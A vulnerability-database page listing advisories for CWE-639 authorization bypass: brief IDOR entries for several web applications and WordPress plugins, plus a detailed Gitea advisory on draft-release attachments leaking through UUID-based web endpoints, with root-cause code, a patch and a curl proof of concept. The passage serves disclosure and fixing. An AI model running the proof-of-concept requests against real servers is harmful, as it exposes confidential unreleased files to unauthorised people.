Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

3648 vulnerabilities reference this CWE, most recent first.

GHSA-Q99X-8M74-3V3X

Vulnerability from github – Published: 2022-05-12 00:01 – Updated: 2022-05-18 00:00
VLAI
Details

An insecure direct object reference (IDOR) vulnerability in the viewid parameter of Bus Pass Management System v1.0 allows attackers to access sensitive information.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-29008"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-11T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "An insecure direct object reference (IDOR) vulnerability in the viewid parameter of Bus Pass Management System v1.0 allows attackers to access sensitive information.",
  "id": "GHSA-q99x-8m74-3v3x",
  "modified": "2022-05-18T00:00:26Z",
  "published": "2022-05-12T00:01:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29008"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sudoninja-noob/CVE-2022-29008/blob/main/CVE-2022-29008.txt"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/50263"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q9G5-GJ6C-J62W

Vulnerability from github – Published: 2026-07-08 15:31 – Updated: 2026-07-08 15:31
VLAI
Details

The User Frontend: AI Powered Frontend Posting, User Directory, Profile, Membership & User Registration plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.3.1 via the payment_page() function due to missing validation on the 'user_id' user controlled key. This makes it possible for unauthenticated attackers to activate a free subscription pack for any user on the site, overwriting their existing paid subscription and causing loss of paid features.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-5459"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-08T13:16:56Z",
    "severity": "MODERATE"
  },
  "details": "The User Frontend: AI Powered Frontend Posting, User Directory, Profile, Membership \u0026 User Registration plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.3.1 via the payment_page() function due to missing validation on the \u0027user_id\u0027 user controlled key. This makes it possible for unauthenticated attackers to activate a free subscription pack for any user on the site, overwriting their existing paid subscription and causing loss of paid features.",
  "id": "GHSA-q9g5-gj6c-j62w",
  "modified": "2026-07-08T15:31:59Z",
  "published": "2026-07-08T15:31:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5459"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3514258/wp-user-frontend"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a02d9a01-1104-4935-8074-af4367c66278?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q9GP-XH68-XX23

Vulnerability from github – Published: 2024-07-19 12:31 – Updated: 2024-07-19 18:31
VLAI
Details

The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.13.0 via the 'handleRequest' function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with GiveWP Worker-level access and above, to delete and update arbitrary posts.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-5977"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-19T11:15:03Z",
    "severity": "MODERATE"
  },
  "details": "The GiveWP \u2013 Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.13.0 via the \u0027handleRequest\u0027 function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with GiveWP Worker-level access and above, to delete and update arbitrary posts.",
  "id": "GHSA-q9gp-xh68-xx23",
  "modified": "2024-07-19T18:31:21Z",
  "published": "2024-07-19T12:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5977"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/give/trunk/src/DonationForms/V2/Endpoints/FormActions.php#L96"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3120745"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2dca6c29-9f05-4d82-90e3-834f1dd8005a?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q9PG-JJ6X-J9P6

Vulnerability from github – Published: 2026-07-21 20:19 – Updated: 2026-07-21 20:19
VLAI
Summary
Gitea: draft release attachment disclosure via missing web authorization
Details

Summary

Gitea's draft-release access control is enforced only on the API release endpoints (/api/v1/repos/{owner}/{repo}/releases/{id} and its /assets/... sub-routes) but not on the web-level UUID-based attachment endpoints (/attachments/{uuid}, /{owner}/{repo}/attachments/{uuid}, /{owner}/{repo}/releases/attachments/{uuid}). Anyone (including unauthenticated callers) who has, learns, or otherwise obtains the UUID of an attachment belonging to a draft release can download its full contents, despite the draft release itself being correctly hidden from listings and direct-by-ID API lookups.

The browser_download_url field returned by the API (visible to anyone with write access to the repo) embeds the UUID. Forwarding this URL by email, log scrape, browser history, screenshot, or any side channel grants any recipient unauthenticated access to the attachment, indefinitely. This is the identical insider-leak threat model that Gitea fixed on the API surface in PR #36659 (CVE-2026-27660, Feb 2026) by adding canAccessReleaseDraft checks. The web mirror was missed.

Details

Root cause: the web-side handler ServeAttachment (routers/web/repo/attachment.go:122-203) checks only repo-level unit-read permission, never the IsDraft flag of the linked release:

// routers/web/repo/attachment.go:122-203, current implementation
func ServeAttachment(ctx *context.Context, uuid string) {
    attach, err := repo_model.GetAttachmentByUUID(ctx, uuid)
    if err != nil { ... }

    // cross-repo guard (only fires when accessed via repo-scoped URL)
    if attach.CreatedUnix > repo_model.LegacyAttachmentMissingRepoIDCutoff &&
       ctx.Repo.Repository != nil && ctx.Repo.Repository.ID != attach.RepoID {
        ctx.HTTPError(http.StatusNotFound)
        return
    }

    unitType, repoID, err := repo_service.GetAttachmentLinkedTypeAndRepoID(ctx, attach)
    if unitType == unit.TypeInvalid {
        if !(ctx.IsSigned && attach.UploaderID == ctx.Doer.ID) {
            ctx.HTTPError(http.StatusNotFound)
            return
        }
    } else {
        var perm access_model.Permission
        // ... resolves repo perm
        if !perm.CanRead(unitType) {       // <-- ONLY check
            ctx.HTTPError(http.StatusNotFound)
            return
        }
        // NO release.IsDraft check
        // NO canAccessReleaseDraft equivalent
    }
    // ... serves the file
}

The helper GetAttachmentLinkedTypeAndRepoID (services/repository/repository.go:185-207) returns (unit.TypeReleases, rel.RepoID) for release-linked attachments but discards the release object (including its IsDraft flag) before returning.

Mounted routes affected (all reach ServeAttachment via GetAttachment):

File:line Route Auth gate
routers/web/web.go:874 GET /attachments/{uuid} (top-level) optionsCorsHandler() + webAuth.AllowBasic + webAuth.AllowOAuth2, accepts anonymous
routers/web/web.go:1284 GET /{owner}/{repo}/attachments/{uuid} (issue-context) repo context, anonymous OK
routers/web/web.go:1473 GET /{owner}/{repo}/releases/attachments/{uuid} (release-context) webAuth.AllowBasic + webAuth.AllowOAuth2, anonymous OK
routers/web/web.go:1491 GET /{owner}/{repo}/attachments/{uuid} (legacy compatibility) webAuth.AllowBasic + webAuth.AllowOAuth2, anonymous OK

Reference: existing fix on the API surface (PR #36659, commit 1eced4a7c0, Feb 22 2026):

// routers/api/v1/repo/release.go:24-37, added by PR #36659
func canAccessReleaseDraft(ctx *context.APIContext) bool {
    if !ctx.IsSigned || !ctx.Repo.Permission.CanWrite(unit.TypeReleases) {
        return false
    }
    // ... API-token scope check
}

canAccessReleaseDraft is called from GetRelease (line 80), ListReleases (line 178), GetReleaseAttachment (release_attachment.go:37), and ListReleaseAttachments (line 148). Every API code path now gates draft visibility on write access. The web-side ServeAttachment was not updated; it continues to gate only on read access, allowing anonymous and non-collaborator reads.

Suggested patch at routers/web/repo/attachment.go:166-172, extending the existing permission check to also gate draft releases on write access:

} else { // linked attachment
    var perm access_model.Permission
    if ctx.Repo.Repository == nil {
        repo, err := repo_model.GetRepositoryByID(ctx, repoID)
        if err != nil { ... }
        perm, err = access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer)
        if err != nil { ... }
    } else {
        perm = ctx.Repo.Permission
    }

    if !perm.CanRead(unitType) {
        ctx.HTTPError(http.StatusNotFound)
        return
    }

    // NEW: if linked to a draft release, require write access to releases
    if unitType == unit.TypeReleases && attach.ReleaseID != 0 {
        rel, err := repo_model.GetReleaseByID(ctx, attach.ReleaseID)
        if err == nil && rel.IsDraft && !perm.CanWrite(unit.TypeReleases) {
            ctx.HTTPError(http.StatusNotFound)
            return
        }
    }
}

Alternatively, GetAttachmentLinkedTypeAndRepoID could return the linked release object so the caller does not need a second DB read.

PoC

Tested against v1.27.0+dev-228-ga564f0587a (commit a564f0587a), default configuration, local-storage attachments.

Setup: - alice owns public repo alice/alice-pub - carol is a registered user with no relationship to alice (no collaboration, no org membership)

Step 1: alice creates a confidential draft release and uploads a sensitive file:

$ DRAFT=$(curl -s -H "Authorization: token $ALICE_TOKEN" -H 'Content-Type: application/json' \
    -d '{"tag_name":"v1.0-CONFIDENTIAL","target_commitish":"main",
         "name":"INTERNAL PREVIEW","body":"unreleased build",
         "draft":true,"prerelease":false}' \
    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases)
$ DID=$(echo "$DRAFT" | jq -r .id)         # e.g. 15

$ echo "TOP_SECRET_BUILD_ARTIFACT" > confidential.txt
$ ATT=$(curl -s -H "Authorization: token $ALICE_TOKEN" \
    -F "attachment=@confidential.txt;filename=confidential.txt" \
    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets)
$ UUID=$(echo "$ATT" | jq -r .uuid)
$ ATT_ID=$(echo "$ATT" | jq -r .id)
# UUID: a4701819-6f12-42e4-82fb-14b2a1191e8a
# browser_download_url returned: http://127.0.0.1:3000/attachments/<UUID>

Step 2: non-collaborator carol cannot see the draft via the API (correct):

$ curl -s -o /dev/null -w '%{http_code}\n' \
    -H "Authorization: token $CAROL_TOKEN" \
    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets/$ATT_ID
404

Step 3: but carol (and even anonymous callers) CAN download via UUID-based web endpoints:

# (C) carol, top-level
$ curl -s -H "Authorization: token $CAROL_TOKEN" \
    http://127.0.0.1:3000/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT          # <-- 200 OK, full content

# (D) carol, repo-scoped legacy
$ curl -s -H "Authorization: token $CAROL_TOKEN" \
    http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT          # <-- 200 OK

# (E) carol, release-scoped web
$ curl -s -H "Authorization: token $CAROL_TOKEN" \
    http://127.0.0.1:3000/alice/alice-pub/releases/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT          # <-- 200 OK

# (G) anonymous, top-level (NO auth header)
$ curl -s http://127.0.0.1:3000/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT          # <-- 200 OK, no auth needed at all

# (H) anonymous, repo-scoped legacy
$ curl -s http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT          # <-- 200 OK

Verdict matrix:

Endpoint Carol (auth, non-collab) Anonymous
API /api/v1/.../releases/{id}/assets/{aid} 404 (gated) 404 (gated)
API /api/v1/.../releases/{id}/assets 404 (gated) 404 (gated)
Web /attachments/{uuid} 200 LEAKS 200 LEAKS
Web /{owner}/{repo}/attachments/{uuid} 200 LEAKS 200 LEAKS
Web /{owner}/{repo}/releases/attachments/{uuid} 200 LEAKS 200 LEAKS
Web browser_download_url (as returned by API) 200 LEAKS 200 LEAKS

Impact

Vulnerability class: Missing authorization (CWE-862) on a parallel code path that was overlooked when the same authorization check was added in a separate handler. This is an incomplete fix for CVE-2026-27660.

Why this is an exploitable vulnerability, not a "configure it differently" issue:

The Gitea draft-release feature exists for exactly one purpose: stage release content that is not yet meant to be public. The fix in PR #36659 (CVE-2026-27660) explicitly stated "Draft release and its attachments need a write permission to access" and accordingly gated GET /api/v1/repos/.../releases/{id} and GET /api/v1/repos/.../releases/{id}/assets/{aid} behind canAccessReleaseDraft. The web-side ServeAttachment handler (which is reachable from three separate routes on the same host as the API and serves the same underlying attachment object) was not updated. The result is that the security promise communicated to operators ("draft attachments are visible only to repo writers") is silently false on the web URLs that the API itself hands out in browser_download_url.

The maintainer cannot reframe this as "UUID is a capability token" because Gitea has already explicitly rejected that model on the API surface for this exact resource class two months ago. The threat model is identical; only the handler is different.

Real-world content that leaks under this bug:

Draft releases are routinely used to stage:

  • Pre-release signed binaries (Windows MSIs, macOS notarized DMGs, Linux RPM/DEB) before publication: unauthenticated download of unannounced builds.
  • Security-fix release candidates: pre-disclosure window for downstream patching, exploitable if the binary diff reveals the bug.
  • Internal SBOMs, signing manifests, third-party license bundles: supply-chain reconnaissance.
  • Release-key public-blob bundles, attestation files: key-rotation tracking by external observers.
  • Build artifacts pinned to draft tags by CI pipelines that publish-on-merge: access to artifacts the release engineer hasn't decided to ship.
  • CHANGELOG / release-notes drafts: pre-disclosure of upcoming features or vulns.

These are not hypothetical use cases. They are the documented and intended use of the draft-release feature on every git forge.

Realistic attack scenarios (insider-leak threat model, same as CVE-2026-27660):

  1. Browser-UI "Copy link" causes the URL to leave the trust boundary. A release engineer is preparing the next release and copies the browser_download_url to test the binary on a fresh VM, then pastes it into a Slack thread, a Jira ticket, an email to QA, or a commit message ("# binary: $URL"). Anyone who later reads that channel (including ex-employees, contractors who lost write access, or anyone scraping public Slack archives) has anonymous, unauthenticated, indefinite access to the draft binary.

  2. Reverse-proxy or observability stack records the URL. nginx, Caddy, HAProxy, Cloudflare, Datadog, Splunk, ELK: any HTTP-instrumentation pipeline records request paths. Anyone with log read access can extract UUIDs and pull the underlying attachment without authenticating to Gitea at all. For ELT pipelines that copy logs to cloud buckets or data lakes, that read access can be very broad.

  3. Browser history, Referer, extension telemetry. Once an authorized user downloads a draft attachment, the UUID-bearing URL lives in browser history, optional cloud-synced history (Chrome Sync, Edge Sync, Firefox Sync, recoverable on any signed-in device), browser extension telemetry, and any Referer header sent if the URL is loaded in a frame or via an inline asset.

  4. Search-engine and mirror indexing. Internal portals, asset inventories, dependency scanners, and SaaS supply-chain tools that follow browser_download_url to index release artifacts will index the draft URL just like a published one. Once indexed, the URL is discoverable for as long as the index lives.

  5. Embedded links in public content. A draft-release-attachment URL pasted into an issue comment, a PR description, a wiki page, or a README is rendered as a clickable <a href> to any reader of that public page. Readers don't see the draft release itself but get the attachment behind the link they click.

Severity calibration via direct precedent:

Property CVE-2026-27660 (this finding's API mirror) This finding
Vulnerability class Missing authorization on draft release Missing authorization on draft release attachments
Attack vector Network Network
Privileges required None (relies on UUID/ID being leaked) None (relies on UUID being leaked)
Attack complexity High (must obtain UUID/ID) High (must obtain UUID)
Confidentiality High High
Integrity / Availability None None
Fix complexity ~5-line authz check added at handler entry ~5-line authz check added at handler entry
Severity assigned by upstream Medium Should be Medium (5.9) by direct precedent

If CVE-2026-27660 was accepted as a Medium-severity security advisory worth a dedicated PR, an identical bug in the web mirror of the same data is also Medium-severity. The maintainer cannot consistently rate this lower without retroactively downgrading their own previous fix.

CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N = 5.9 / Medium

  • AV:N: reachable over the network.
  • AC:H: attacker must obtain the UUID via a leak channel (same prerequisite class as the upstream CVE).
  • PR:N: no authentication required (anonymous works).
  • UI:N: no user interaction required.
  • S:U: scope unchanged (still bounded to Gitea's auth boundary; the draft release was supposed to be inside that boundary but isn't).
  • C:H: full confidentiality breach of the attachment contents.
  • I:N / A:N: read-only.

Out of scope: brute-forcing the UUID is infeasible (122 bits of UUIDv4 entropy). This is a confidentiality-loss bug, not an integrity or availability bug.

Deployment scale: Gitea is a top-three self-hosted forge (~30 k+ public Internet-reachable instances per Shodan, plus very large numbers of internal corporate deployments and Codeberg / Forgejo derivatives that inherit the same code). The bug is present in the default configuration; no operator action is required to make a deployment vulnerable.

Fix complexity: trivial. Add a release.IsDraft && !perm.CanWrite(unit.TypeReleases) check in ServeAttachment (single function, ~5 lines added). Patch is provided in the Details section. No data migration, no UX change, no breaking-API change.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58432"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-639",
      "CWE-732",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:19:25Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nGitea\u0027s draft-release access control is enforced only on the API release endpoints (`/api/v1/repos/{owner}/{repo}/releases/{id}` and its `/assets/...` sub-routes) but not on the web-level UUID-based attachment endpoints (`/attachments/{uuid}`, `/{owner}/{repo}/attachments/{uuid}`, `/{owner}/{repo}/releases/attachments/{uuid}`). Anyone (including unauthenticated callers) who has, learns, or otherwise obtains the UUID of an attachment belonging to a draft release can download its full contents, despite the draft release itself being correctly hidden from listings and direct-by-ID API lookups.\n\nThe `browser_download_url` field returned by the API (visible to anyone with write access to the repo) embeds the UUID. Forwarding this URL by email, log scrape, browser history, screenshot, or any side channel grants any recipient unauthenticated access to the attachment, indefinitely. This is the identical insider-leak threat model that Gitea fixed on the API surface in PR #36659 (CVE-2026-27660, Feb 2026) by adding `canAccessReleaseDraft` checks. The web mirror was missed.\n\n### Details\n\n**Root cause:** the web-side handler `ServeAttachment` (`routers/web/repo/attachment.go:122-203`) checks only repo-level unit-read permission, never the `IsDraft` flag of the linked release:\n\n```go\n// routers/web/repo/attachment.go:122-203, current implementation\nfunc ServeAttachment(ctx *context.Context, uuid string) {\n    attach, err := repo_model.GetAttachmentByUUID(ctx, uuid)\n    if err != nil { ... }\n\n    // cross-repo guard (only fires when accessed via repo-scoped URL)\n    if attach.CreatedUnix \u003e repo_model.LegacyAttachmentMissingRepoIDCutoff \u0026\u0026\n       ctx.Repo.Repository != nil \u0026\u0026 ctx.Repo.Repository.ID != attach.RepoID {\n        ctx.HTTPError(http.StatusNotFound)\n        return\n    }\n\n    unitType, repoID, err := repo_service.GetAttachmentLinkedTypeAndRepoID(ctx, attach)\n    if unitType == unit.TypeInvalid {\n        if !(ctx.IsSigned \u0026\u0026 attach.UploaderID == ctx.Doer.ID) {\n            ctx.HTTPError(http.StatusNotFound)\n            return\n        }\n    } else {\n        var perm access_model.Permission\n        // ... resolves repo perm\n        if !perm.CanRead(unitType) {       // \u003c-- ONLY check\n            ctx.HTTPError(http.StatusNotFound)\n            return\n        }\n        // NO release.IsDraft check\n        // NO canAccessReleaseDraft equivalent\n    }\n    // ... serves the file\n}\n```\n\nThe helper `GetAttachmentLinkedTypeAndRepoID` (`services/repository/repository.go:185-207`) returns `(unit.TypeReleases, rel.RepoID)` for release-linked attachments but discards the release object (including its `IsDraft` flag) before returning.\n\n**Mounted routes affected** (all reach `ServeAttachment` via `GetAttachment`):\n\n| File:line | Route | Auth gate |\n|---|---|---|\n| `routers/web/web.go:874` | `GET /attachments/{uuid}` (top-level) | `optionsCorsHandler() + webAuth.AllowBasic + webAuth.AllowOAuth2`, accepts anonymous |\n| `routers/web/web.go:1284` | `GET /{owner}/{repo}/attachments/{uuid}` (issue-context) | repo context, anonymous OK |\n| `routers/web/web.go:1473` | `GET /{owner}/{repo}/releases/attachments/{uuid}` (release-context) | `webAuth.AllowBasic + webAuth.AllowOAuth2`, anonymous OK |\n| `routers/web/web.go:1491` | `GET /{owner}/{repo}/attachments/{uuid}` (legacy compatibility) | `webAuth.AllowBasic + webAuth.AllowOAuth2`, anonymous OK |\n\n**Reference: existing fix on the API surface (PR #36659, commit `1eced4a7c0`, Feb 22 2026):**\n\n```go\n// routers/api/v1/repo/release.go:24-37, added by PR #36659\nfunc canAccessReleaseDraft(ctx *context.APIContext) bool {\n    if !ctx.IsSigned || !ctx.Repo.Permission.CanWrite(unit.TypeReleases) {\n        return false\n    }\n    // ... API-token scope check\n}\n```\n\n`canAccessReleaseDraft` is called from `GetRelease` (line 80), `ListReleases` (line 178), `GetReleaseAttachment` (`release_attachment.go:37`), and `ListReleaseAttachments` (line 148). Every API code path now gates draft visibility on **write access**. The web-side `ServeAttachment` was not updated; it continues to gate only on **read access**, allowing anonymous and non-collaborator reads.\n\n**Suggested patch** at `routers/web/repo/attachment.go:166-172`, extending the existing permission check to also gate draft releases on write access:\n\n```go\n} else { // linked attachment\n    var perm access_model.Permission\n    if ctx.Repo.Repository == nil {\n        repo, err := repo_model.GetRepositoryByID(ctx, repoID)\n        if err != nil { ... }\n        perm, err = access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer)\n        if err != nil { ... }\n    } else {\n        perm = ctx.Repo.Permission\n    }\n\n    if !perm.CanRead(unitType) {\n        ctx.HTTPError(http.StatusNotFound)\n        return\n    }\n\n    // NEW: if linked to a draft release, require write access to releases\n    if unitType == unit.TypeReleases \u0026\u0026 attach.ReleaseID != 0 {\n        rel, err := repo_model.GetReleaseByID(ctx, attach.ReleaseID)\n        if err == nil \u0026\u0026 rel.IsDraft \u0026\u0026 !perm.CanWrite(unit.TypeReleases) {\n            ctx.HTTPError(http.StatusNotFound)\n            return\n        }\n    }\n}\n```\n\nAlternatively, `GetAttachmentLinkedTypeAndRepoID` could return the linked release object so the caller does not need a second DB read.\n\n### PoC\n\nTested against `v1.27.0+dev-228-ga564f0587a` (commit `a564f0587a`), default configuration, local-storage attachments.\n\n**Setup:**\n- `alice` owns public repo `alice/alice-pub`\n- `carol` is a registered user with no relationship to `alice` (no collaboration, no org membership)\n\n**Step 1: alice creates a confidential draft release and uploads a sensitive file:**\n\n```bash\n$ DRAFT=$(curl -s -H \"Authorization: token $ALICE_TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"tag_name\":\"v1.0-CONFIDENTIAL\",\"target_commitish\":\"main\",\n         \"name\":\"INTERNAL PREVIEW\",\"body\":\"unreleased build\",\n         \"draft\":true,\"prerelease\":false}\u0027 \\\n    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases)\n$ DID=$(echo \"$DRAFT\" | jq -r .id)         # e.g. 15\n\n$ echo \"TOP_SECRET_BUILD_ARTIFACT\" \u003e confidential.txt\n$ ATT=$(curl -s -H \"Authorization: token $ALICE_TOKEN\" \\\n    -F \"attachment=@confidential.txt;filename=confidential.txt\" \\\n    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets)\n$ UUID=$(echo \"$ATT\" | jq -r .uuid)\n$ ATT_ID=$(echo \"$ATT\" | jq -r .id)\n# UUID: a4701819-6f12-42e4-82fb-14b2a1191e8a\n# browser_download_url returned: http://127.0.0.1:3000/attachments/\u003cUUID\u003e\n```\n\n**Step 2: non-collaborator carol cannot see the draft via the API (correct):**\n\n```bash\n$ curl -s -o /dev/null -w \u0027%{http_code}\\n\u0027 \\\n    -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets/$ATT_ID\n404\n```\n\n**Step 3: but carol (and even anonymous callers) CAN download via UUID-based web endpoints:**\n\n```bash\n# (C) carol, top-level\n$ curl -s -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK, full content\n\n# (D) carol, repo-scoped legacy\n$ curl -s -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK\n\n# (E) carol, release-scoped web\n$ curl -s -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/alice/alice-pub/releases/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK\n\n# (G) anonymous, top-level (NO auth header)\n$ curl -s http://127.0.0.1:3000/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK, no auth needed at all\n\n# (H) anonymous, repo-scoped legacy\n$ curl -s http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK\n```\n\n**Verdict matrix:**\n\n| Endpoint | Carol (auth, non-collab) | Anonymous |\n|---|---|---|\n| API `/api/v1/.../releases/{id}/assets/{aid}` | 404 (gated) | 404 (gated) |\n| API `/api/v1/.../releases/{id}/assets` | 404 (gated) | 404 (gated) |\n| Web `/attachments/{uuid}` | **200 LEAKS** | **200 LEAKS** |\n| Web `/{owner}/{repo}/attachments/{uuid}` | **200 LEAKS** | **200 LEAKS** |\n| Web `/{owner}/{repo}/releases/attachments/{uuid}` | **200 LEAKS** | **200 LEAKS** |\n| Web `browser_download_url` (as returned by API) | **200 LEAKS** | **200 LEAKS** |\n\n### Impact\n\n**Vulnerability class:** Missing authorization (CWE-862) on a parallel code path that was overlooked when the same authorization check was added in a separate handler. This is an **incomplete fix for CVE-2026-27660**.\n\n**Why this is an exploitable vulnerability, not a \"configure it differently\" issue:**\n\nThe Gitea draft-release feature exists for exactly one purpose: stage release content that is not yet meant to be public. The fix in PR #36659 (CVE-2026-27660) explicitly stated *\"Draft release and its attachments need a write permission to access\"* and accordingly gated `GET /api/v1/repos/.../releases/{id}` and `GET /api/v1/repos/.../releases/{id}/assets/{aid}` behind `canAccessReleaseDraft`. The web-side `ServeAttachment` handler (which is reachable from three separate routes on the same host as the API and serves the same underlying attachment object) was not updated. The result is that the security promise communicated to operators (\"draft attachments are visible only to repo writers\") is silently false on the web URLs that the API itself hands out in `browser_download_url`.\n\nThe maintainer cannot reframe this as \"UUID is a capability token\" because Gitea has already explicitly **rejected** that model on the API surface for this exact resource class two months ago. The threat model is identical; only the handler is different.\n\n**Real-world content that leaks under this bug:**\n\nDraft releases are routinely used to stage:\n\n- **Pre-release signed binaries** (Windows MSIs, macOS notarized DMGs, Linux RPM/DEB) before publication: unauthenticated download of unannounced builds.\n- **Security-fix release candidates**: pre-disclosure window for downstream patching, exploitable if the binary diff reveals the bug.\n- **Internal SBOMs, signing manifests, third-party license bundles**: supply-chain reconnaissance.\n- **Release-key public-blob bundles, attestation files**: key-rotation tracking by external observers.\n- **Build artifacts pinned to draft tags by CI pipelines that publish-on-merge**: access to artifacts the release engineer hasn\u0027t decided to ship.\n- **CHANGELOG / release-notes drafts**: pre-disclosure of upcoming features or vulns.\n\nThese are not hypothetical use cases. They are the documented and intended use of the draft-release feature on every git forge.\n\n**Realistic attack scenarios (insider-leak threat model, same as CVE-2026-27660):**\n\n1. **Browser-UI \"Copy link\" causes the URL to leave the trust boundary.** A release engineer is preparing the next release and copies the `browser_download_url` to test the binary on a fresh VM, then pastes it into a Slack thread, a Jira ticket, an email to QA, or a commit message (\"`# binary: $URL`\"). Anyone who later reads that channel (including ex-employees, contractors who lost write access, or anyone scraping public Slack archives) has anonymous, unauthenticated, indefinite access to the draft binary.\n\n2. **Reverse-proxy or observability stack records the URL.** nginx, Caddy, HAProxy, Cloudflare, Datadog, Splunk, ELK: any HTTP-instrumentation pipeline records request paths. Anyone with log read access can extract UUIDs and pull the underlying attachment without authenticating to Gitea at all. For ELT pipelines that copy logs to cloud buckets or data lakes, that read access can be very broad.\n\n3. **Browser history, Referer, extension telemetry.** Once an authorized user downloads a draft attachment, the UUID-bearing URL lives in browser history, optional cloud-synced history (Chrome Sync, Edge Sync, Firefox Sync, recoverable on any signed-in device), browser extension telemetry, and any `Referer` header sent if the URL is loaded in a frame or via an inline asset.\n\n4. **Search-engine and mirror indexing.** Internal portals, asset inventories, dependency scanners, and SaaS supply-chain tools that follow `browser_download_url` to index release artifacts will index the draft URL just like a published one. Once indexed, the URL is discoverable for as long as the index lives.\n\n5. **Embedded links in public content.** A draft-release-attachment URL pasted into an issue comment, a PR description, a wiki page, or a README is rendered as a clickable `\u003ca href\u003e` to any reader of that public page. Readers don\u0027t see the draft release itself but get the attachment 